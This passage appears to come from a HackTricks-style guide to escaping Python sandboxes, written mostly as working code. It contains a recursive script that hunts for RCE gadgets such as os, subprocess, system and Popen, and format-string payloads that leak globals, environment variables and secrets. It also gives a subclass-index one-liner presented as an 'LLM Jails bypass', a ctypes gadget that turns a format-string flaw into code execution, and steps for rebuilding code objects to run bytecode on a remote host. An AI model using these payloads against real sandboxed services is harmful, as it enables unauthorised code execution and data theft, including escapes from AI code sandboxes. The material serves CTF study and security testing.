    importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
    imp:
    sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
    builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
    pip:
    pdb:
    system: _wrap_close, _wrap_close
    getstatusoutput: CompletedProcess, Popen
    getoutput: CompletedProcess, Popen
    call: CompletedProcess, Popen
    Popen: CompletedProcess, Popen
    spawn:
    import_module:
    __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
    load_source: NullImporter, _HackedGetData
    execfile:
    execute:
    __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
    """

## Recursive Search of Builtins, Globals...

> [!WARNING] This is just awesome. If you are looking for an object like globals, builtins, open or anything just use this script to recursively find places where you can find that object.

    import os, sys # Import these to find more gadgets

    SEARCH_FOR = {
        # Misc
        "__globals__": set(),
        "builtins": set(),
        "__builtins__": set(),
        "open": set(),

        # RCE libs
        "os": set(),
        "subprocess": set(),
        "commands": set(),
        "pty": set(),
        "importlib": set(),
        "imp": set(),
        "sys": set(),
        "pip": set(),
        "pdb": set(),

        # RCE methods
        "system": set(),
        "popen": set(),
        "getstatusoutput": set(),
        "getoutput": set(),
        "call": set(),
        "Popen": set(),
        "popen": set(),
        "spawn": set(),
        "import_module": set(),
        "__import__": set(),
        "load_source": set(),
        "execfile": set(),
        "execute": set()
    }

    #More than 4 is very time consuming
    MAX_CONT = 4

    #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
    #ALREADY_CHECKED = set()

    def check_recursive(element, cont, name, orig_n, orig_i, execute):
        # If bigger than maximum, stop
        if cont > MAX_CONT:
            return

        # If already checked, stop
        #if name and name in ALREADY_CHECKED:
        #    return

        # Add to already checked
        #if name:
        #    ALREADY_CHECKED.add(name)

        # If found add to the dict
        for k in SEARCH_FOR:
            if k in dir(element) or (type(element) is dict and k in element):
                SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

        # Continue with the recursivity
        for new_element in dir(element):
            try:
                check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

                # WARNING: Calling random functions sometimes kills the script
                # Comment this part if you notice that behaviour!!
                if execute:
                    try:
                        if callable(getattr(element, new_element)):
                            check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
                    except:
                        pass

            except:
                pass

        # If in a dict, scan also each key, very important
        if type(element) is dict:
            for new_element in element:
                check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)

    def main():
        print("Checking from empty string...")
        total = [""]
        for i,element in enumerate(total):
            print(f"\rStatus: {i}/{len(total)}", end="")
            cont = 1
            check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

        print()
        print("Checking loaded subclasses...")
        total = "".__class__.__base__.__subclasses__()
        for i,element in enumerate(total):
            print(f"\rStatus: {i}/{len(total)}", end="")
            cont = 1
            check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

        print()
        print("Checking from global functions...")
        total = [print, check_recursive]
        for i,element in enumerate(total):
            print(f"\rStatus: {i}/{len(total)}", end="")
            cont = 1
            check_recursive(element, cont, "", str(element), f"Global func {i}", False)

        print()
        print(SEARCH_FOR)

    if __name__ == "__main__":
        main()

You can check the output of this script on this page:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

## Python Format String

If you send a string to python that is going to be formatted, you can use `{}` to access python internal information. You can use the previous examples to access globals or builtins for example.

    # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
    CONFIG = {
        "KEY": "ASXFYFGK78989"
    }

    class PeopleInfo:
        def __init__(self, fname, lname):
            self.fname = fname
            self.lname = lname

    def get_name_for_avatar(avatar_str, people_obj):
        return avatar_str.format(people_obj = people_obj)

    people = PeopleInfo('GEEKS', 'FORGEEKS')

    st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
    get_name_for_avatar(st, people_obj = people)

Note how you can access attributes in a normal way with a dot like `people_obj.__init__` and dict element with parenthesis without quotes `__globals__[CONFIG]`

Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

Some other interesting characteristics from format strings is the possibility of executing the functions `str`, `repr` and `ascii` in the indicated object by adding `!s`, `!r`, `!a` respectively:

    st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
    get_name_for_avatar(st, people_obj = people)

Moreover, it's possible to code new formatters in classes:

    class HAL9000(object):
        def __format__(self, format):
            if (format == 'open-the-pod-bay-doors'):
                return "I'm afraid I can't do that."
            return 'HAL 9000'

    '{:open-the-pod-bay-doors}'.format(HAL9000())
    #I'm afraid I can't do that.

More examples about format string examples can be found in https://pyformat.info/

> [!CAUTION] Check also the following page for gadgets that will read sensitive information from Python internal objects:

Python Internal Read Gadgets

### Sensitive Information Disclosure Payloads

    {whoami.__class__.__dict__}
    {whoami.__globals__[os].__dict__}
    {whoami.__globals__[os].environ}
    {whoami.__globals__[sys].path}
    {whoami.__globals__[sys].modules}

    # Access an element through several links
    {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

    # Example from https://corgi.rip/posts/buckeye-writeups/
    secret_variable = "clueless"
    x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
    str(x) # Out: clueless

### LLM Jails bypass

From here: `().class.base.subclasses()[108].load_module('os').system('dir')`

### From format to RCE loading libraries

According to the TypeMonkey chall from this writeup it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.

As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute `(2).mul(3)` or `{'a':'b'}['a']` will be `{'a':'b'}.__getitem__('a')`.

You have more like this in the section Python execution without calls.

A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.
However, it's possible to use `[]`. Therefore, if a common python library has a `__getitem__` or `__getattr__` method that executes arbitrary code, it's possible to abuse them to get RCE.

Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:

    class LibraryLoader(object):
        def __init__(self, dlltype):
            self._dlltype = dlltype

        def __getattr__(self, name):
            if name[0] == '_':
                raise AttributeError(name)
            try:
                dll = self._dlltype(name)
            except OSError:
                raise AttributeError(name)
            setattr(self, name, dll)
            return dll

        def __getitem__(self, name):
            return getattr(self, name)

    cdll = LibraryLoader(CDLL)
    pydll = LibraryLoader(PyDLL)

This gadget allows to load a library from disk. Therefore, it's needed to somehow write or upload the library to load correctly compiled to the attacked server.

    '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.

## Dissecting Python Objects

> [!NOTE] If you want to learn about python bytecode in depth read this awesome post about the topic: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.

This is the function to inspect:

    def get_flag(some_input):
        var1=1
        var2="secretcode"
        var3=["some","array"]
        if some_input == var2:
            return "THIS-IS-THE-FALG!"
        else:
            return "Nope"

#### dir

    dir() #General dir() to find what we have loaded
    ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
    dir(get_flag) #Get info tof the function
    ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

#### globals

`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:

    get_flag.func_globals
    get_flag.__globals__
    {'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

    #If you have access to some variable value
    CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

### Accessing the function code

`__code__` and `func_code`: You can access this attribute of the function to obtain the code object of the function.

    # In our current example
    get_flag.__code__
    <code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

    # Compiling some python code
    compile("print(5)", "", "single")
    <code object <module> at 0x7f9ca01330c0, file "", line 1>

    #Get the attributes of the code object
    dir(get_flag.__code__)
    ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

### Getting Code Information

    # Another example
    s = '''
    a = 5
    b = 'text'
    def f(x):
        return x
    f(5)
    '''
    c=compile(s, "", "exec")

    # __doc__: Get the description of the function, if any
    print.__doc__

    # co_consts: Constants
    get_flag.__code__.co_consts
    (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

    c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
    (5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

    # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
    get_flag.__code__.co_names
    ()

    c.co_names
    ('a', 'b', 'f')

    #co_varnames: Local names used by the bytecode (arguments first, then the local variables)
    get_flag.__code__.co_varnames
    ('some_input', 'var1', 'var2', 'var3')

    #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
    get_flag.__code__.co_cellvars
    ()

    #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
    get_flag.__code__.co_freevars
    ()

    #Get bytecode
    get_flag.__code__.co_code
    'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

### Disassembly a function

    import dis
    dis.dis(get_flag)
      2           0 LOAD_CONST               1 (1)
                  3 STORE_FAST               1 (var1)

      3           6 LOAD_CONST               2 ('secretcode')
                  9 STORE_FAST               2 (var2)

      4          12 LOAD_CONST               3 ('some')
                 15 LOAD_CONST               4 ('array')
                 18 BUILD_LIST               2
                 21 STORE_FAST               3 (var3)

      5          24 LOAD_FAST                0 (some_input)
                 27 LOAD_FAST                2 (var2)
                 30 COMPARE_OP               2 (==)
                 33 POP_JUMP_IF_FALSE       40

      6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
                 39 RETURN_VALUE

      8     >>   40 LOAD_CONST               6 ('Nope')
                 43 RETURN_VALUE
                 44 LOAD_CONST               0 (None)
                 47 RETURN_VALUE

Notice that if you cannot import `dis` in the python sandbox you can obtain the bytecode of the function (`get_flag.func_code.co_code`) and disassemble it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded.

    dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
              0 LOAD_CONST          1 (1)
              3 STORE_FAST          1 (1)
              6 LOAD_CONST          2 (2)
              9 STORE_FAST          2 (2)
             12 LOAD_CONST          3 (3)
             15 LOAD_CONST          4 (4)
             18 BUILD_LIST          2
             21 STORE_FAST          3 (3)
             24 LOAD_FAST           0 (0)
             27 LOAD_FAST           2 (2)
             30 COMPARE_OP          2 (==)
             33 POP_JUMP_IF_FALSE    40
             36 LOAD_CONST          5 (5)
             39 RETURN_VALUE
        >>   40 LOAD_CONST          6 (6)
             43 RETURN_VALUE
             44 LOAD_CONST          0 (0)
             47 RETURN_VALUE

## Compiling Python

Now, let us imagine that somehow you can dump the information about a function that you cannot execute but you need to execute it.
Like in the following example, you can access the code object of that function, but just reading the disassemble you don't know how to calculate the flag (imagine a more complex `calc_flag` function)

    def get_flag(some_input):
        var1=1
        var2="secretcode"
        var3=["some","array"]
        def calc_flag(flag_rot2):
            return ''.join(chr(ord(c)-2) for c in flag_rot2)
        if some_input == var2:
            return calc_flag("VjkuKuVjgHnci")
        else:
            return "Nope"

### Creating the code object

First of all, we need to know how to create and execute a code object so we can create one to execute our function leaked:

    code_type = type((lambda: None).__code__)
    # Check the following hint if you get an error in calling this
    code_obj = code_type(co_argcount, co_kwonlyargcount,
                   co_nlocals, co_stacksize, co_flags,
                   co_code, co_consts, co_names,
                   co_varnames, co_filename, co_name,
                   co_firstlineno, co_lnotab, freevars=None,
                   cellvars=None)

    # Execution
    eval(code_obj) #Execute as a whole script

    # If you have the code of a function, execute it
    mydict = {}
    mydict['__builtins__'] = __builtins__
    function_type(code_obj, mydict, None, None, None)("secretcode")

> [!NOTE] Depending on the python version the parameters of `code_type` may have a different order. The best way to know the order of the params in the python version you are running is to run:

>     import types
>     types.CodeType.__doc__
>     'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

### Recreating a leaked function

> [!WARNING] In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a real example, all the values to execute the function `code_type` is what you will need to leak.

    fc = get_flag.__code__
    # In a real situation the values like fc.co_argcount are the ones you need to leak
    code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

    mydict = {}
    mydict['__builtins__'] = __builtins__
    function_type(code_obj, mydict, None, None, None)("secretcode")
    #ThisIsTheFlag

### Bypass Defenses

In previous examples at the beginning of this post, you can see how to execute any python code using the `compile` function. This is interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using `exec`).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF machine (for example because we don't have the `compiled` function in the CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

    #Locally
    def read():
        return open("./poc.py",'r').read()

    read.__code__.co_code
    't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

    #On Remote
    function_type = type(lambda: None)
    code_type = type((lambda: None).__code__) #Get <type 'type'>
    consts = (None, "./poc.py", 'r')
    bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
    names = ('open','read')

    # And execute it using eval/exec
    eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

    #You could also execute it directly
    mydict = {}
    mydict['__builtins__'] = __builtins__
    codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
    function_type(codeobj, mydict, None, None, None)()

If you cannot access `eval` or `exec` you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment to call this function.

    #Compile a regular print
    ftype = type(lambda: None)
    ctype = type((lambda: None).func_code)
    f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
    f(42)

## Decompiling Compiled Python

Using tools like https://www.decompiler.com/ one can decompile given compiled python code.

Check out this tutorial:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

## Misc Python

### Assert

Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of debug.
Therefore, checks like

    def check_permission(super_user):
        try:
            assert(super_user)
            print("\nYou are a super user\n")
        except AssertionError:
            print(f"\nNot a Super User!!!\n")

will be bypassed

## References

- https://lbarman.ch/blog/pyjail/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
- https://gynvael.coldwind.pl/n/python_sandbox_escape
- https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
- https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.